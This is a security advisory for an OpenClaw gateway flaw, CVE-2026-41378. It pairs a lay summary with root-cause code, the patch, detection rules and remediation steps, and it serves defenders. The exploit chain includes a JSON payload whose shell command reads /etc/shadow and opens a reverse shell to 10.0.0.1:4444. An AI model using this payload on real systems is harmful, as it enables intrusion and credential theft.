CVE-2026-41378: OpenClaw node.event Dispatch Bypass Leads to RCE
Paired nodes with role=node in OpenClaw can dispatch unrestricted agent.request events via the gateway, bypassing tool ACLs and achieving remote code execution. CVSS 8.8.
OpenClaw is software used by organizations to manage networks of connected computers. Think of it like a smart building's central control system that manages all the connected locks, cameras, and lights from one place.
Researchers have discovered a serious flaw in OpenClaw versions released before March 31, 2026. The problem involves how the software handles permissions between different parts of the network.
Here's what's happening: When computers are first added to the network, they're given trusted credentials — basically a digital ID card that proves they belong there. But the software isn't properly checking what these computers are allowed to do. It's like giving someone a key to your house and then not caring which rooms they actually have permission to enter.
An attacker who manages to steal these trusted credentials can use them to take over the main control system. Once inside, they could install malware, steal data, or disrupt operations — whatever they want.
This is most dangerous for companies that use OpenClaw in critical roles: data centers, manufacturing plants, hospitals, or financial institutions. If your organization manages important infrastructure through this software, you're at genuine risk.
The good news is that no one has seen active attacks exploiting this yet, giving organizations a window to protect themselves.
What you should do: First, if your organization uses OpenClaw, check your version number right now. Second, apply the security update to version 2026.3.31 or later as soon as possible. Third, review who has access to those trusted network credentials and consider rotating them after updating. Your IT team should handle these steps, but push for them to act quickly — this vulnerability is serious enough to prioritize over other work.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41378 is a privilege escalation to remote code execution vulnerability in OpenClaw affecting all releases prior to 2026.3.31. A node that has been legitimately paired with the gateway — holding role=node credentials — can craft a node.event message whose inner agent.request payload is dispatched by the gateway with its own privileged tool context rather than the node's restricted one. Because the gateway performs no secondary authorization check before forwarding agent tool calls, an attacker with any valid paired-node credential can invoke arbitrary gateway-side tools, including shell execution primitives, without ever holding role=admin.
Root cause: The OpenClaw gateway dispatches agent.request payloads embedded inside node.event messages using the gateway's own privilege context instead of re-validating against the originating node's ACL, allowing lateral privilege escalation from role=node to unrestricted tool execution.
Affected Component
The vulnerable logic lives in the gateway's event routing layer, specifically inside the dispatch_node_event() function and its downstream call to agent_request_invoke(). The relevant source paths in the OpenClaw tree are:
All gateway configurations are affected regardless of transport (WebSocket, TCP, UNIX socket). The vulnerability requires a successfully paired node — not a pre-authentication condition.
Root Cause Analysis
When the gateway receives any inbound message from a paired node, it calls dispatch_node_event(). This function checks the top-level message type and, if it sees node.event, extracts the inner payload and routes it. The critical flaw is that for agent.request inner types, the function calls agent_request_invoke() with the gateway's owntool_ctx — the fully privileged context — rather than a context derived from the originating node's role.
// openclaw/gateway/router/event_dispatch.c
// OpenClaw < 2026.3.31
int dispatch_node_event(gateway_t *gw, node_conn_t *conn, oc_message_t *msg) {
const char *event_type = oc_msg_get_str(msg, "event");
oc_payload_t *inner = oc_msg_get_payload(msg, "data");
if (!event_type || !inner) {
return OC_ERR_MALFORMED;
}
// Role check: only validates the top-level node.event permission.
// BUG: does NOT propagate conn->node_role into the agent dispatch context.
if (!node_acl_check(conn->node_role, "node.event")) {
return OC_ERR_FORBIDDEN;
}
if (strcmp(event_type, "agent.request") == 0) {
// BUG: gw->tool_ctx is the gateway-privileged context.
// conn->tool_ctx (role=node, restricted) is never consulted here.
return agent_request_invoke(gw->tool_ctx, inner);
// ^^^^^^^^^^^^
// should be: node_tool_ctx_from_role(conn->node_role)
}
return event_route_generic(gw, conn, event_type, inner);
}
agent_request_invoke() itself is not the bug — it faithfully executes whatever tools the supplied tool_ctx authorizes. The gateway's tool_ctx has no tool restrictions by design, since the gateway must be able to call any tool on behalf of authorized admin sessions.
// openclaw/gateway/agent/agent_request.c
int agent_request_invoke(tool_ctx_t *ctx, oc_payload_t *req) {
const char *tool_name = oc_payload_get_str(req, "tool");
oc_payload_t *args = oc_payload_get(req, "args");
tool_fn_t fn = tool_registry_lookup(ctx->registry, tool_name);
if (!fn) {
return OC_ERR_UNKNOWN_TOOL;
}
// No secondary ACL gate. If tool exists in registry and ctx allows it,
// it runs. gw->tool_ctx allows ALL registered tools.
return fn(ctx, args);
}
Memory Layout
This is a logic vulnerability rather than a memory corruption bug, so the relevant "layout" is the authorization object graph. Understanding which tool_ctx is passed where is the entire attack surface.
Exploitation requires a valid paired-node credential. In many OpenClaw deployments, node pairing is semi-automated and node credentials are stored in configuration files on edge devices — a realistic initial foothold for an attacker who has compromised any single node in a mesh.
EXPLOIT CHAIN:
1. Attacker obtains valid node credentials (node_id + node_key) from any
compromised paired node (role=node). Credentials found in:
/etc/openclaw/node.conf → node_key = "aaaa...32bytes...bbbb"
2. Attacker establishes authenticated WebSocket session to gateway:
GET /ws HTTP/1.1
X-Node-Id:
X-Node-Key:
→ gateway issues session token, conn->node_role = ROLE_NODE (0x02)
3. Attacker sends a well-formed node.event message with an embedded
agent.request payload targeting the 'shell' tool:
{
"type": "node.event",
"event": "agent.request",
"data": {
"tool": "shell",
"args": { "cmd": "id; cat /etc/shadow; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" }
}
}
4. Gateway receives message → dispatch_node_event() → node_acl_check() passes
(node IS permitted to send node.event at the top level).
5. event_type == "agent.request" branch taken → agent_request_invoke() called
with gw->tool_ctx (CTX_FLAG_PRIVILEGED, acl=NULL).
6. tool_registry_lookup() finds "shell" tool (registered in gateway's full
registry). fn(ctx, args) executes with gateway process privileges.
7. Reverse shell connects back. Gateway typically runs as root or a high-
privilege service account.
TOTAL PREREQUISITES: one valid node credential pair (role=node)
NO MEMORY CORRUPTION REQUIRED. FULLY RELIABLE.
A minimal proof-of-concept in Python demonstrating step 3:
The fix in OpenClaw 2026.3.31 introduces node_tool_ctx_from_role(), which constructs a restricted tool_ctx from the originating connection's role before passing it into agent_request_invoke(). The gateway's privileged tool_ctx is now never reachable through the node.event path.
// BEFORE (vulnerable — openclaw < 2026.3.31):
if (strcmp(event_type, "agent.request") == 0) {
return agent_request_invoke(gw->tool_ctx, inner);
}
// AFTER (patched — openclaw 2026.3.31, commit a3f81cc):
if (strcmp(event_type, "agent.request") == 0) {
tool_ctx_t *node_ctx = node_tool_ctx_from_role(gw, conn->node_role);
if (!node_ctx) {
oc_log_warn("agent.request denied: no ctx for role %u", conn->node_role);
return OC_ERR_FORBIDDEN;
}
return agent_request_invoke(node_ctx, inner);
}
// NEW FUNCTION — openclaw/gateway/router/event_dispatch.c (2026.3.31)
tool_ctx_t *node_tool_ctx_from_role(gateway_t *gw, uint8_t role) {
switch (role) {
case ROLE_ADMIN:
// Admin nodes get full ctx — requires explicit admin pairing.
return gw->tool_ctx;
case ROLE_NODE:
// Standard nodes get a restricted ctx: no shell, no fs-write tools.
return gw->node_restricted_ctx;
default:
return NULL; // unknown role → deny
}
}
Additionally, the patch adds an explicit tool-allowlist for ROLE_NODE contexts enforced at registry construction time, so even if node_tool_ctx_from_role() were somehow bypassed, the restricted registry would not contain the shell or fs_write tools.
Detection and Indicators
On unpatched gateways, look for node.event messages from role=node sessions that contain an "event": "agent.request" inner type. The gateway log at default verbosity does not distinguish these from legitimate events — a key reason this likely went undetected in the wild.
GATEWAY LOG INDICATORS (increase verbosity with OC_LOG_LEVEL=debug):
# Suspicious: node session dispatching agent.request
[INFO] node_conn 0x7f3a1c node_id=deadbeef event=agent.request tool=shell
[INFO] tool shell executed by ctx=PRIVILEGED ← never should appear for role=node
NETWORK INDICATORS:
- WebSocket frames from role=node sessions with JSON key path:
.type == "node.event" AND .event == "agent.request"
- Unexpected outbound connections from the gateway process immediately
following such frames (reverse shell).
SIGMA-STYLE RULE (pseudocode):
ws_frame.parsed.type == "node.event"
ws_frame.parsed.event == "agent.request"
ws_frame.session.role == "node" ← should never be agent.request
→ alert HIGH CVE-2026-41378
Remediation
Patch immediately: Upgrade to OpenClaw ≥ 2026.3.31. The fix is a single call-site change with no API breakage.
Rotate node credentials for all paired nodes if you cannot immediately patch — any node key that has ever been stored on a potentially compromised host should be considered burned.
Network-layer mitigation: Restrict gateway WebSocket port access to known node IP ranges. This does not close the bug but raises the bar for exploitation.
Audit paired nodes: Run openclaw-admin node list --role node and revoke any node credentials that cannot be attributed to known infrastructure.
Enable debug logging temporarily (OC_LOG_LEVEL=debug) to detect any historical exploitation of this path in log archives before patching.